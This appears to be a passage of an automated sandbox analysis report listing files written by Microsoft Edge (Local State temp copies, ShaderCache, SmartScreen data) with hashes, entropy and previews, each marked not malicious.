Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAA5fd7lRcciQ59Jbj3gMZsbEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAA0KhB7WOkT2I4W1zU0jGIZ4PHfkGG5n4lu5OtmBhk4qQAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3856d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.792085381492621
Encrypted:	false
SSDEEP:	192:ak9m1leiRUHhhRn86qRAq1k8SPxVLZ7VTiq:ak41F+fRn86q3QxVNZTiq
MD5:	4764150367C42A73523717C5BB50DCA2
SHA1:	969FEA394DCA8373774E550A7AACA72DEECF362B
SHA-256:	329990CE76F2678CDBA3B1E0492BDB546EC9DF5A8C021571950BD7FA5DE72EF9
SHA-512:	F46F0610878D6A23BA88E9D51851E7D313F5B180B79AA1856FB63AC5AE14B26F616595A028AA839F0677A465E90548BC5A6ECB94AC1B5546B65213F484D09A01
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAA5fd7lRcciQ59Jbj3gMZsbEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAA0KhB7WOkT2I4W1zU0jGIZ4PHfkGG5n4lu5OtmBhk4qQAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF38771.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.792085381492621
Encrypted:	false
SSDEEP:	192:ak9m1leiRUHhhRn86qRAq1k8SPxVLZ7VTiq:ak41F+fRn86q3QxVNZTiq
MD5:	4764150367C42A73523717C5BB50DCA2
SHA1:	969FEA394DCA8373774E550A7AACA72DEECF362B
SHA-256:	329990CE76F2678CDBA3B1E0492BDB546EC9DF5A8C021571950BD7FA5DE72EF9
SHA-512:	F46F0610878D6A23BA88E9D51851E7D313F5B180B79AA1856FB63AC5AE14B26F616595A028AA839F0677A465E90548BC5A6ECB94AC1B5546B65213F484D09A01
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAA5fd7lRcciQ59Jbj3gMZsbEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAA0KhB7WOkT2I4W1zU0jGIZ4PHfkGG5n4lu5OtmBhk4qQAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3880d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.792085381492621
Encrypted:	false
SSDEEP:	192:ak9m1leiRUHhhRn86qRAq1k8SPxVLZ7VTiq:ak41F+fRn86q3QxVNZTiq
MD5:	4764150367C42A73523717C5BB50DCA2
SHA1:	969FEA394DCA8373774E550A7AACA72DEECF362B
SHA-256:	329990CE76F2678CDBA3B1E0492BDB546EC9DF5A8C021571950BD7FA5DE72EF9
SHA-512:	F46F0610878D6A23BA88E9D51851E7D313F5B180B79AA1856FB63AC5AE14B26F616595A028AA839F0677A465E90548BC5A6ECB94AC1B5546B65213F484D09A01
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAA5fd7lRcciQ59Jbj3gMZsbEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAA0KhB7WOkT2I4W1zU0jGIZ4PHfkGG5n4lu5OtmBhk4qQAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3b8f1.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.792085381492621
Encrypted:	false
SSDEEP:	192:ak9m1leiRUHhhRn86qRAq1k8SPxVLZ7VTiq:ak41F+fRn86q3QxVNZTiq
MD5:	4764150367C42A73523717C5BB50DCA2
SHA1:	969FEA394DCA8373774E550A7AACA72DEECF362B
SHA-256:	329990CE76F2678CDBA3B1E0492BDB546EC9DF5A8C021571950BD7FA5DE72EF9
SHA-512:	F46F0610878D6A23BA88E9D51851E7D313F5B180B79AA1856FB63AC5AE14B26F616595A028AA839F0677A465E90548BC5A6ECB94AC1B5546B65213F484D09A01
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAA5fd7lRcciQ59Jbj3gMZsbEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAA0KhB7WOkT2I4W1zU0jGIZ4PHfkGG5n4lu5OtmBhk4qQAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3b94e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.792085381492621
Encrypted:	false
SSDEEP:	192:ak9m1leiRUHhhRn86qRAq1k8SPxVLZ7VTiq:ak41F+fRn86q3QxVNZTiq
MD5:	4764150367C42A73523717C5BB50DCA2
SHA1:	969FEA394DCA8373774E550A7AACA72DEECF362B
SHA-256:	329990CE76F2678CDBA3B1E0492BDB546EC9DF5A8C021571950BD7FA5DE72EF9
SHA-512:	F46F0610878D6A23BA88E9D51851E7D313F5B180B79AA1856FB63AC5AE14B26F616595A028AA839F0677A465E90548BC5A6ECB94AC1B5546B65213F484D09A01
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAA5fd7lRcciQ59Jbj3gMZsbEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAA0KhB7WOkT2I4W1zU0jGIZ4PHfkGG5n4lu5OtmBhk4qQAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3b96e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.792085381492621
Encrypted:	false
SSDEEP:	192:ak9m1leiRUHhhRn86qRAq1k8SPxVLZ7VTiq:ak41F+fRn86q3QxVNZTiq
MD5:	4764150367C42A73523717C5BB50DCA2
SHA1:	969FEA394DCA8373774E550A7AACA72DEECF362B
SHA-256:	329990CE76F2678CDBA3B1E0492BDB546EC9DF5A8C021571950BD7FA5DE72EF9
SHA-512:	F46F0610878D6A23BA88E9D51851E7D313F5B180B79AA1856FB63AC5AE14B26F616595A028AA839F0677A465E90548BC5A6ECB94AC1B5546B65213F484D09A01
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAA5fd7lRcciQ59Jbj3gMZsbEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAA0KhB7WOkT2I4W1zU0jGIZ4PHfkGG5n4lu5OtmBhk4qQAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3c68d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.792085381492621
Encrypted:	false
SSDEEP:	192:ak9m1leiRUHhhRn86qRAq1k8SPxVLZ7VTiq:ak41F+fRn86q3QxVNZTiq
MD5:	4764150367C42A73523717C5BB50DCA2
SHA1:	969FEA394DCA8373774E550A7AACA72DEECF362B
SHA-256:	329990CE76F2678CDBA3B1E0492BDB546EC9DF5A8C021571950BD7FA5DE72EF9
SHA-512:	F46F0610878D6A23BA88E9D51851E7D313F5B180B79AA1856FB63AC5AE14B26F616595A028AA839F0677A465E90548BC5A6ECB94AC1B5546B65213F484D09A01
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAA5fd7lRcciQ59Jbj3gMZsbEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAA0KhB7WOkT2I4W1zU0jGIZ4PHfkGG5n4lu5OtmBhk4qQAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF40d2b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.792085381492621
Encrypted:	false
SSDEEP:	192:ak9m1leiRUHhhRn86qRAq1k8SPxVLZ7VTiq:ak41F+fRn86q3QxVNZTiq
MD5:	4764150367C42A73523717C5BB50DCA2
SHA1:	969FEA394DCA8373774E550A7AACA72DEECF362B
SHA-256:	329990CE76F2678CDBA3B1E0492BDB546EC9DF5A8C021571950BD7FA5DE72EF9
SHA-512:	F46F0610878D6A23BA88E9D51851E7D313F5B180B79AA1856FB63AC5AE14B26F616595A028AA839F0677A465E90548BC5A6ECB94AC1B5546B65213F484D09A01
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAA5fd7lRcciQ59Jbj3gMZsbEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAA0KhB7WOkT2I4W1zU0jGIZ4PHfkGG5n4lu5OtmBhk4qQAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF42b62.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.792085381492621
Encrypted:	false
SSDEEP:	192:ak9m1leiRUHhhRn86qRAq1k8SPxVLZ7VTiq:ak41F+fRn86q3QxVNZTiq
MD5:	4764150367C42A73523717C5BB50DCA2
SHA1:	969FEA394DCA8373774E550A7AACA72DEECF362B
SHA-256:	329990CE76F2678CDBA3B1E0492BDB546EC9DF5A8C021571950BD7FA5DE72EF9
SHA-512:	F46F0610878D6A23BA88E9D51851E7D313F5B180B79AA1856FB63AC5AE14B26F616595A028AA839F0677A465E90548BC5A6ECB94AC1B5546B65213F484D09A01
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAA5fd7lRcciQ59Jbj3gMZsbEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAA0KhB7WOkT2I4W1zU0jGIZ4PHfkGG5n4lu5OtmBhk4qQAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF44756.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.792085381492621
Encrypted:	false
SSDEEP:	192:ak9m1leiRUHhhRn86qRAq1k8SPxVLZ7VTiq:ak41F+fRn86q3QxVNZTiq
MD5:	4764150367C42A73523717C5BB50DCA2
SHA1:	969FEA394DCA8373774E550A7AACA72DEECF362B
SHA-256:	329990CE76F2678CDBA3B1E0492BDB546EC9DF5A8C021571950BD7FA5DE72EF9
SHA-512:	F46F0610878D6A23BA88E9D51851E7D313F5B180B79AA1856FB63AC5AE14B26F616595A028AA839F0677A465E90548BC5A6ECB94AC1B5546B65213F484D09A01
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAA5fd7lRcciQ59Jbj3gMZsbEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAA0KhB7WOkT2I4W1zU0jGIZ4PHfkGG5n4lu5OtmBhk4qQAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF46e56.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.792085381492621
Encrypted:	false
SSDEEP:	192:ak9m1leiRUHhhRn86qRAq1k8SPxVLZ7VTiq:ak41F+fRn86q3QxVNZTiq
MD5:	4764150367C42A73523717C5BB50DCA2
SHA1:	969FEA394DCA8373774E550A7AACA72DEECF362B
SHA-256:	329990CE76F2678CDBA3B1E0492BDB546EC9DF5A8C021571950BD7FA5DE72EF9
SHA-512:	F46F0610878D6A23BA88E9D51851E7D313F5B180B79AA1856FB63AC5AE14B26F616595A028AA839F0677A465E90548BC5A6ECB94AC1B5546B65213F484D09A01
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAA5fd7lRcciQ59Jbj3gMZsbEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAA0KhB7WOkT2I4W1zU0jGIZ4PHfkGG5n4lu5OtmBhk4qQAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.46731661083066856
Encrypted:	false
SSDEEP:	12:TL1QAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3is25q0S9K0xHZ75fOV:TLiOUOq0afDdWec9sJf5Q7J5fc
MD5:	E93ACF0820CA08E5A5D2D159729F70E3
SHA1:	2C1A4D4924B9AEC1A796F108607404B000877C5D
SHA-256:	F2267FDA7F45499F7A01186B75CEFB799F8D2BC97E2E9B5068952D477294302C
SHA-512:	3BF36C20E04DCF1C16DC794E272F82F68B0DE43F16B4A9746B63B6D6BBC953B00BD7111CDA7AFE85CEBB2C447145483A382B15E2B0A5B36026C3441635D4E50C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNlrt:Ls3rt
MD5:	625C2C18761F19A4E5CB650FE7DE5F83
SHA1:	4F53F431F4CA020253F243CC0AECC3902E9DF137
SHA-256:	7B3A7D321CA2C563D364EE340E1D973A2B2CE533537941D669386C0FB3F87380
SHA-512:	4C6494448E6702BEABD9957DB38A741E2853CC139E683ECF9437644F3169834667E591A484508BBE601DE88B5652C0BFDA1EF87B151394B808F826ECC3998912
Malicious:	false
Preview:	........................................0.9../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSynchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	3.922828737239167
Encrypted:	false
SSDEEP:	3:2NGw+K+:fwZ+
MD5:	7BAAFE811F480ACFCCCEE0D744355C79
SHA1:	24B89AE82313084BB8BBEB9AD98A550F41DF7B27
SHA-256:	D5743766AF0312C7B7728219FC24A03A4FB1C2A54A506F337953FBC2C1B847C7
SHA-512:	70FE1C197AF507CC0D65E99807D245C896A40A4271BA1121F9B621980877B43019E584C48780951FC1AD2A5D7D146FC6EA4678139A5B38F9B6F7A5F1E2E86BA3
Malicious:	false
Preview:	customSynchronousLookupUris_0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSynchronousLookupUris_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	35302
Entropy (8bit):	7.99333285466604
Encrypted:	true
SSDEEP:	768:rRhaFePY38QBsj61g3g01LXoDGPpgb8KbMcnjrQCckBuJyqk3x8cBBT:rLP+TBK6ZQLXSsaMcnHQQcox80
MD5:	0E06E28C3536360DE3486B1A9E5195E8
SHA1:	EB768267F34EC16A6CCD1966DCA4C3C2870268AB
